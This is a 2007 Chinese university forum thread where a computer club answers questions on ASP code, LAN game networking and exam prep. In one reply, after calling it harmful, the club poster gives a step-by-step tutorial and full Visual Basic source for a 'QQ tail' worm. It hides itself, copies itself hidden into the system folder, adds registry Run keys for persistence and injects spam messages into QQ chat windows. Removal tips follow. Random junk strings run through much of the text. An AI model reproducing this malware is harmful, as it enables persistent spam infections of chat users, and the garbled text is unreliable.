大家有一切关于计算机方面的问题,请在此提问,我会尽快解答!(页 1) - ◇校园社团↓:::. - 计算机协会 - 三峡大学求索溪社区论坛三峡大学论坛|三峡大学BBS

计算机协会 发表于 2007-10-26 18:40

大家有一切关于计算机方面的问题,请在此提问,我会尽快解答!

[size=6]大家有一切关于计算机方面的问题,请在此提问,我会尽快解答!!![/size]
[size=6][/size]
[size=6]关于计算机的[/size][size=7][b]任何问题![/b][/size]
[b][size=5][/size][/b]
[size=4]欢迎大家踊跃提问![/size]mrp8IdHt
[size=4][/size]
[size=4][/size] `5_1q"lUP#OpH8g9^
[size=4]只有想不到的,没有做不到的![/size]

小强发表于 2007-10-27 18:35

急求帮忙翻译一段代码！！

MM_authorizedUsers="1,2,0"
MM_authFailedURL="index.asp" 4p5h(Ux]h\u
MM_grantACCess=false 0y8e[;l^mr
if Session(MM_Username")<>""then 2~[4WP]B
if(false Or CStr(Session("MM_UserAuthorization"))="")Or_ @&PXe7O
(InStr(1,MM_authorizedUsers,Sessio(MM_UserAuthorization"))>=1 3Pz(O M8z}+|)GW.wRQ
Then
MM_grantAccess= true 1D;N2Hub8P'I ].t
End If ,t fi#L7V9Tu
End If R6?;^:|3l6q-p*Vo
if Not MM_grantAccess Then S8C(z!KAJ
MM_qsChar="?" pJ5biOl!KjoN]
if(inStr(1,MM_authFailedURL,"?")>=1)Then MM_qsChar="&"
MM_referrer=Request.ServerVariables("URL") &z{+VD7@+T'T)b
if (Len(Request.QueryString())>0) Then kdP!gY7cTi M
MM_referrer=MM_referrer & "?" &Request.QueryString() f ]4J&EZ7o
MM_authFailedURL=MM_authFailedURL&MM_qsChar&"accessdenide="& Server.URLEncode(MM_referrer)
Response.Redirect(MM_authFailedURL) {}4Q ]:U:Bfn
End if #~yH.}(`(n7msp'x8D
5Y1YpZ3IE5@%T.yk#OX
这段代码我就是硬是看不懂，请哪个高人帮我翻译一下每行代码大概是什么意思，谢谢啊！

计算机协会 发表于 2007-10-27 18:39

MM_authorizedUsers="1,2,0" '给变量MM_authorizedUsers赋值 6P Uu8rIr{7w
MM_authFailedURL="index.asp" '给变量MM_authFailedURL赋值
MM_grantACCess=false '给布尔型变量MM_grantACCess赋值
if Session("MM_Username")<>""then '如果Session变量MM_Username不为空(这里Session是一种服务器变量,用于储存参数,如不懂可以去搜一下)
if (false Or CStr(Session("MM_UserAuthorization"))="") Or (InStr(1,MM_authorizedUsers,Session("MM_UserAuthorization"))>=1 Then
'如果(Session变量MM_UserAuthorization转化为字符型(Cstr)后为空)或者在变量MM_authorizedUsers中存在Session变量MM_UserAuthorization里储 uP;G!Q:F.?2R2U@ h}
*w5c9YNCG'p
存的值(IsStr为比较两个字符串的函数)则 &SKt_$c#d
MM_grantAccess= true '变量MM_grantAccess为真 c.^X9B:xw)g$~
End If f&qads,~p{(O
End If igE%R[3H+_
if Not MM_grantAccess Then '如果变量MM_grantAccess为假(因为开始MM_grantAccess赋值为假,如果上面的If语句的条件为真则MM_grantAccess
Uc;R YJ#[6Dn
会被赋值为真,否则依然为假)
MM_qsChar="?" '给变量MM_qsChar赋值 I#O,`E9y4Iw
if(inStr(1,MM_authFailedURL,"?")>=1)Then MM_qsChar="&" '如果变量MM_authFailedURL里存在"?",则MM_qsChar="&"
MM_referrer=Request.ServerVariables("URL") '获取本页地址 z,z0~,i{:Nz%a6Uw
if (Len(Request.QueryString())>0) Then '这一句有问题,本是用来获取由get方式传过来的数据,缺少参数,如
a a%?*|mt@
Request.QueryString("URL") v9Q&{H,j0m$M0|c
MM_referrer=MM_referrer & "?" &Request.QueryString() '在页面URL后加上?和参数,如:index.asp?id=1 }d|jV*E7d5iG
MM_authFailedURL=MM_authFailedURL&MM_qsChar&"accessdenide="& Server.URLEncode(MM_referrer) '写出完整的URL地址
Response.Redirect(MM_authFailedURL) '让页面转向上一行的地址 @1n0M _^5V\3C
End if eI3X@2say
0FT-YSl
这可能是一个当参数出错时应该转向的页面
希望对你有所帮助！

小强发表于 2007-10-27 18:40

。。。。。。
哇靠！！！！！:o

计算机协会 发表于 2007-10-27 18:43

恶魔发表于 2007-10-29 18:26

我想要一下魔兽局域网搜索器的原代码,了解下它是怎么做到校园网互连的??顺便问下能不能改成CS用的 ..............

admin 发表于 2007-10-30 07:38

能不能帮我做个QQ尾巴啊？

计算机协会 发表于 2007-10-30 10:15

[quote]原帖由 [i]bbsadmin[/i] 于 2007-10-30 07:38 发表 [url=http://www.8001bbs.cn/redirect.php?goto=findpost&pid=6829&ptid=3493][img]http://www.8001bbs.cn/images/common/back.gif[/img][/url]Q*fX;X\`
能不能帮我做个QQ尾巴啊？ [/quote]

)qXT$pA)f
由于这个是有害于他人的东西,所以,我只提供方法,具体还是请你自己做吧!5u"Bm4?-[X,oH%GN
QQ尾巴病毒制作 z"B ]/t(_ k
QQ尾巴过时好久了,俺再写一个!!让大家学几个API!!^^
在家玩得很无聊,除了吃就是睡,日子一天天地过去了,QQ却帮我打发了不少时间.事发那天,一个好友发
给我一条信息,说是某个网站有好听的音乐叫我上去听听,于是我点击了那个网址上去了,然而我却没有发现
那个网站有什么音乐听.随即我便用QQ发信自,谁知当我打开聊天窗口时,QQ那家伙立刻帮我发了一条信息给
对方,和我刚才收到的那条一模一样,哈哈,好一个QQ尾巴.于是我马上check run,发现注册表RUN项多了两个
可疑的项,于是删掉它,并根据路径把它KILL掉. tl6^"MeQ0[
反正在家无聊于是研究一下它,当我运行它时 q,Pn7c ^#G
1.它会使自身在桌面和任务栏上隐藏;
2.在注册表的RUN项建一个子键使之能开机自动运行; 4py%K9F-R[ D
3.复制自己到系统目录下,并隐藏; vL3L;u#N4{%m
4.监视桌面前台窗口,并捕捉QQ聊天窗口; 5Zx%Bz.?U{B"{
5.当发现QQ窗口时就立刻模拟键盘将一条信息复制上去并发送.
就这么简单!它没有用到HOOK钩子截取系统消息,想了想,哈,俺用VB也能写一个,不就是几个常用的API r]8Bo3IWT+Z
嘛.反正无聊,开工....... mk~4x.t"g.b)CC|"m

首先介绍一下要用到的API吧 t:go,G4fS]9BM*]
1.GetWindow 取得所属窗口句柄; Z-U"zBw
2.ShowWindow 窗口设置;
3.GetSystemDirectory 取得系统目录路径; 7`e-FuA[8_
4.RegCreateKey 打开注册表的项;
5.RegSetValueEx 新建子键;
6.RegCloseKey 关闭注册表; *i]e9Fl V8J
7.GetForegroundWindow 取得前台窗口句柄; :d4hE\SR9VpC
8.GetWindowText 取得前台窗口的标题; $sug0{'t(N.~dg
9.Keybd_event 模拟键盘事件.

第一步:隐藏!!
API声明: GetWindow ShowWindow
常数: GW_OWNER SW_HIDE
dim a as long
a=GetWindow(me.hwnd , GW_OWNER)
ShowWindow a , SW_HIDE
me.visible=false jf%P m#kr B Q9d

第二步:取得系统目录路径! -u*~(PB,h_wr
API声明: GetSystemDirectory 7h5gU3sbUl
dim b as string .bci2L6J$J"rujN
b=space(19)
GetSystemDirectory b , 20
^yy)Vo*DUH
第三步:修改注册表!
API声明: RegCreateKey RegSetValueEx RegCloseKey
常数: HKEY_LOCAL_MACHINE,REG_SZ
dim c as string
dim d as string ^Ux._a["};S4{~q
dim e as long ho'g,];x1d2M+da
c="SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 1cUl@W6dhc+Ite#\
d=b & "\file32.exe"
RegCreateKey HKEY_LOCAL_MACHINE , c , e
RegSetValueEx e , "file32" , 0 , REG_SZ , byval d , len(d) 3TWB!oJ/JN&B}6D
RegCloseKey e
6h]!\$SRsMGD
第四步:复制自己到系统目录下,并隐藏! J5EU/l$x;M:U
dim f as string
f=app.path & "\" & app.exename & ".exe" 'L@%{%Z*| Tq
filecopy f , d
setarrt d , vbhiden

第五步:监视前台窗口! W9|+}3_-kM/l
API声明: GetForegroundWindow GetWindowText HYWq9wZ
dim g as long `[1[;n@P.G0U[
dim h as string
h=space(256) (UbN5Z}Ft
g=GetForegroundWindow()
GetWindowText g , h , 255 %X$bYne h8D*D(]
'判断前台窗口是否QQ窗口,如果是就进入第六步,如果不是则继续监视
'这处代码应放在TIMER中!
if left(h,1)="与" then Nf-Zr;C(A:g"jA&|!a
call stup six(第六步)
end if

第六步:设定剪切板内容,并模拟键盘(CTRL+V)粘贴,(ENTER OR ENTER+CTRL)发送! +UK5~F?
API声明: Keybd_event
常数: vk_control(&h11) vk_v(86) keyeventf_keyup(&h2)
clipboard.clear Y#c?zJ4{/`
clipboard.settext "恭喜你,高中了QQ尾巴病毒!"
keybd_ecent vk_control,0,0,0
keybd_event 86,0,0,0 'vBM1c.T;Q
keybd_ecent 86,0,keyeventf_keyup,0
keybd_event vk_control,0,keyeventf_keyup,0 6[H6~#Mu:bS7UX"?%b4E
keybd_ecent 13,0,0,0 J1xK.n#k
keybd_ecent 13,0,keyeventf_keyup,0
keybd_event vk_control,0,0,0 ;~y"J/`*d%aY\
keybd_ecent 13,0,0,0
keybd_event 13,0,keyeventf_keyup,0
keybd_event vk_control,0,keyeventf_keyup,0
clipboard.clear 9~L"O#Uq#S8C U(XK
rB7GGv
完整代码如下:
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long :Vh9F8nb1FA'WU
Private Const GW_OWNER = 4 P [7}(I6?]
Private Const SW_HIDE = 0
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value. 7h;xE"qTb
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Ni:jKl9\td9W
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1
Private Declare Function GetForegroundWindow Lib "user32" () As Long n7J E/C)O
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Const KEYEVENTF_KEYUP = &H2 f]q-C XDbE
Dim j As String
Dim k As String
Dim ii As Integer pAw)hrd5M#|:_e
Dim e, f As String +L1K3v.h-GpiN
+Bv'g.Y'pXk w9c
Private Sub Form_Load() T`5Yd5yq
Dim a As Long 3@&L(^;sw!HRz4T
Dim b As String
Dim c, d As String HN.i8~C,A"i
Dim e1 As String #wP&a[*Ya:i/TY
Dim e2 As String
Dim f1, f2 As Long t0FiVg-?l
Me.Visible = False M;?+Xr$w)^
a = GetWindow(Me.hwnd, GW_OWNER)
ShowWindow a, SW_HIDE C;n`p3RK^hqd~
b = Space(19) :J0i.Cg\/g;Ce*h;p
GetSystemDirectory b, 20
c = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
d = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices"
e1 = b & "\File32.exe"
e2 = Left(b, 11) & "Rencom.exe"
RegCreateKey HKEY_LOCAL_MACHINE, c, f1 Y2t$IF,s+S3e8X:b
RegSetValueEx f1, "File32", 0, REG_SZ, ByVal e1, Len(e1) p$tLCM^9S
RegCloseKey f1
RegCreateKey HKEY_LOCAL_MACHINE, d, f2 9ZxX'As'F9vf
RegSetValueEx f2, "Rencom", 0, REG_SZ, ByVal e2, Len(e2) l@t[8G/J1{*r"O#M
RegCloseKey f2 BN'i Mu/]*cA
On Error Resume Next
Dim g As String
g = App.Path & "\" & App.EXEName & ".exe" 3a\ S`j#Us`.tD
FileCopy g, e1 %d#n VTLxq
SetAttr e1, vbHidden .Hm E*z2wW3N
FileCopy g, e2
SetAttr e2, vbHidden
e = e1 4MWr*X*Ix(?
f = e2 ;z8O4\8{DTAj
End Sub N8wwf j'X9Lnq$J

Private Sub Timer1_Timer()
ii = ii + 1
If ii = 1111 Then ii = 1
Dim h As Long
Dim i As String cN3ug,hhG&r
h = GetForegroundWindow()
i = Space(256) Gx)_ns
GetWindowText h, i, 255
If Left(i, 1) = "与" And ii Mod 20 = 8 Then
j = Space(256) [B8`sR0b7TQ(I
j = i 9d ]'A`TMm kAY
Call mer xthz!d
End If
End Sub xFQ!yV!X
Sub mer()
If k <> j Then C'f2W \;n9@
Clipboard.Clear |7v4~&XJ}y
Clipboard.SetText "恭喜你,高中了QQ尾巴病毒!"
keybd_event &H11, 0, 0, 0
keybd_event 86, 0, 0, 0 &FT:kD)D*`
keybd_event 86, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, KEYEVENTF_KEYUP, 0
keybd_event 13, 0, 0, 0 _{up'C;z
keybd_event 13, 0, KEYEVENTF_KEYUP, 0 V7nfy[BO ?cSm
keybd_event &H11, 0, 0, 0 4Kr:?9dgrc
keybd_event 13, 0, 0, 0 q-Au%H!s!d vM
keybd_event 13, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, KEYEVENTF_KEYUP, 0 ,O`w e)n Z&R
k = Space(256) L G?|b:c#@}m ^
k = j U2O*T4kZ'yp(B'EM
End If
End Sub
t*`A!R |
:N-V8znvLD c
}*\nE;_@"`cL&e
[size=5]另外,再提供一些QQ尾巴的专杀工具:[/size]n({8T:|3z%H,I

瑞星QQ尾巴专杀工具 `VR }PS
[url=http://soft.cf66.net/soft/1646.htm][color=#0000ff]http://soft.cf66.net/soft/1646.htm[/color][/url] %u8ET_W.A[
|IZ1^]
金山QQ尾巴专杀工具
[url=http://www.fjzhyz.cn/zhyz/Soft/ShowSoft.asp?SoftID=37][color=#0000ff]http://www.fjzhyz.cn/zhyz/Soft/ShowSoft.asp?SoftID=37[/color][/url]

如果都没有用,可以试试以下方法
杀毒最好在安全模式下杀,因为在这个模式下一般病毒不会启动,除非他们是感染了内核文件.另外,你要看看你的启动项中有哪些文件. Vd'R4gEYVF
q!ARo*PE
1:金山毒霸有一个注册表修复工具,里面可以禁掉一些启动项 MFwD2r"Zahv
CW8ed E
2:你可以在注册表中查找whboy.exe,删掉所有的键值. qK Mm4LC(E8s
]ke Z'B6a"V
3:在注册表中看看.exe.txt的关联程序是什么,不正常的关联就要改掉了.
PoTK.M5oF
4:查找系统盘下.dll.exe文件,然后以时间方式排列,时间最靠前,而且在windows或windows/system32目录下的就有可能是病毒,你可以在改动一下文件名,比如加个1,但千万别删,以防删错文件.另要注意internetexplorer目录下的.dll文件,如果你刚安装了哪个ie插件,也会有新文件在里面. _8DG f-B
$@8j_"DX`'T'ChM;L
5:右击我的电脑,在弹出的菜单中点击管理,在弹出的窗口中,选左边最下面的服务选顶,看看有没有不正常的服务是自动启动的,比如你可以点击描述选项卡,以描述的方式来排列,那些没有描述又自动启动的服务就有可能,记得正常的只有一个服务是没有描述又会自动启动的.在这里还可以关掉信使服务和远程修改注册表服务. zzg:e~ET
4u;D,LUEL
注:以上方法都要在安全模式下进行,不然病毒会自动修复回去.

另外还有一个方法 Zr$G(v-}pc
一般中QQ尾巴,应是一个叫whboy.exe的文件在作怪，把该文件删除，它马上自动生成，没有办法，只得用记事本改成whboy.exe把它替换了，只是在开机时打开记事本，但不会在QQ里产生尾巴了。
(若是中了QQ尾巴，可查看注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon的shell下的键值，看看是个什么程序在起作用，然后用记事本改成那个程序名把它复盖就行了.)

就是把“记事本”改成“whboy.exe”复制到C:\windows\system32下就可解决。+G!t#Ac{["fy+n

;Cx4Eh;`,Cn/[
KEc,x$hQ/j
希望对你有所帮助!

admin 发表于 2007-10-30 10:24

呵呵谢谢啊

计算机协会 发表于 2007-10-30 10:36

[quote]原帖由 [i]恶魔[/i] 于 2007-10-29 18:26 发表 [url=http://www.8001bbs.cn/redirect.php?goto=findpost&pid=6787&ptid=3493][img]http://www.8001bbs.cn/images/common/back.gif[/img][/url]
我想要一下魔兽局域网搜索器的原代码,了解下它是怎么做到校园网互连的??顺便问下能不能改成CS用的 .............. [/quote]'Q-E9@Ki _

原代码我不知道,但校园网互连可以提供一些资料:
其实局域网搜索器就是网络广播
对所有的局域网机器发送信息返回得到的值就可以知道是否建立有这样的游戏.
:Xl{H1|_
另外,有个软件,你可以看看.
/iF|.g"J4w't

分类：网络
语种：简体中文 d6F%wW d~kL
编辑器：Delphi5
平台：Win9x,Win2k/NT,WinXP
作品源代码：本地下载 [url=http://image.21tx.com/files/20050502/11774.rar][color=#800080]http://image.21tx.com/files/20050502/11774.rar[/color][/url]
软件或演示： - OtY"w,FAE
代码大小： 464.2K [*T&O6R0E(D.\2J
软件大小： 464 KB

恶魔发表于 2007-10-30 11:43

谢谢!!
以后有其他问题还要来麻烦的.

计算机协会 发表于 2007-10-30 12:19

[quote]原帖由 [i]恶魔[/i] 于 2007-10-29 18:26 发表 [url=http://www.8001bbs.cn/redirect.php?goto=findpost&pid=6787&ptid=3493][img]http://www.8001bbs.cn/images/common/back.gif[/img][/url]
我想要一下魔兽局域网搜索器的原代码,了解下它是怎么做到校园网互连的??顺便问下能不能改成CS用的 .............. [/quote]
[size=5][color=red]还有一些要补充的:[/color][/size]8B9?"`[,DG2Q [~
第一，你不能得到代码。因为版权保护。

第二，没有必要得到代码。因为这个很简单。

这些联网游戏都是有自己的协议，例如TCP/IP协议，然后是有自己的端口，例如魔兽的端口好像是6054还是多少，可以更改的。 wb s+n*He ZB
]!j~ o.|1o/g-P,Jb
第三，当满足以上条件，游戏启动后，他会向局域网广播一条信息，谁在使用协议TCP/IP协议且端口是6054的，如果有，则发送确认，返回确认后就可以进行联网。
$C7e}vY
KN"UoiKDa
第四，至于你说的校园网，浩方你听过么？他是虚拟局域网，给每台机子分派一个类似局域网保留IP的方式，最大不超多255个用户。

很简单.

恶魔发表于 2007-10-30 12:27

刚试那个软件,发现不适合我用./qo$fX#~ w0`
我是想要类似于魔兽搜索器的校园网游戏连机工具,就是能搜索对方游戏或者知道对方IP(校园网IP172开头的或本地IP192开头的)和对方连机的工具.CS,实况等游戏.!|G6y9_"rT(F!J(WA
还有,就是你学的语言能否开发个这样的工具?

恶魔发表于 2007-10-30 12:29

好麻烦啊~~~能不能加我QQ交流下365923095

小强发表于 2007-10-30 12:50

[quote]原帖由 [i]恶魔[/i] 于 2007-10-30 12:27 发表 [url=http://www.8001bbs.cn/redirect.php?goto=findpost&pid=6900&ptid=3493][img]http://www.8001bbs.cn/images/common/back.gif[/img][/url]
刚试那个软件,发现不适合我用.
我是想要类似于魔兽搜索器的校园网游戏连机工具,就是能搜索对方游戏或者知道对方IP(校园网IP172开头的或本地IP192开头的)和对方连机的工具.CS,实况等游戏.
还有,就是你学的语言能否开 ... [/quote]

我也是在网上找的,自己并不会这种语言.l#M6PvJ
至于你说的那个工具,我这几天再找找吧~

计算机协会 发表于 2007-10-30 12:53

。。。忘记换登陆名了。。。。。:L

恶魔发表于 2007-11-4 15:24

这里有高手可以看得懂二进制编码的吗???

计算机协会 发表于 2007-11-4 18:01

[quote]原帖由 [i]恶魔[/i] 于 2007-11-4 15:24 发表 [url=http://www.8001bbs.cn/redirect.php?goto=findpost&pid=7360&ptid=3493][img]http://www.8001bbs.cn/images/common/back.gif[/img][/url]#{yjXaA
这里有高手可以看得懂二进制编码的吗??? [/quote]
+t$v8V*i8WT5r o
请说出具体的编码是什么.

恶魔发表于 2007-11-6 19:02

问一下,有没有找到可以在校园网上用的CS搜索器??

linux 发表于 2007-11-9 19:54

能不能帮忙搞到c语言的选择题的题库或者样题？qqHRom6h
过两天就考试了
急需谢谢有的话请尽快发上来或者到邮箱[email=lsx08000@163.com]lsx08000@163.com[/email]
谢谢星期一之前谢谢

页: [1] 2

三峡大学求索溪社区论坛's Archiver

大家有一切关于计算机方面的问题,请在此提问,我会尽快解答!

急求帮忙翻译一段代码！！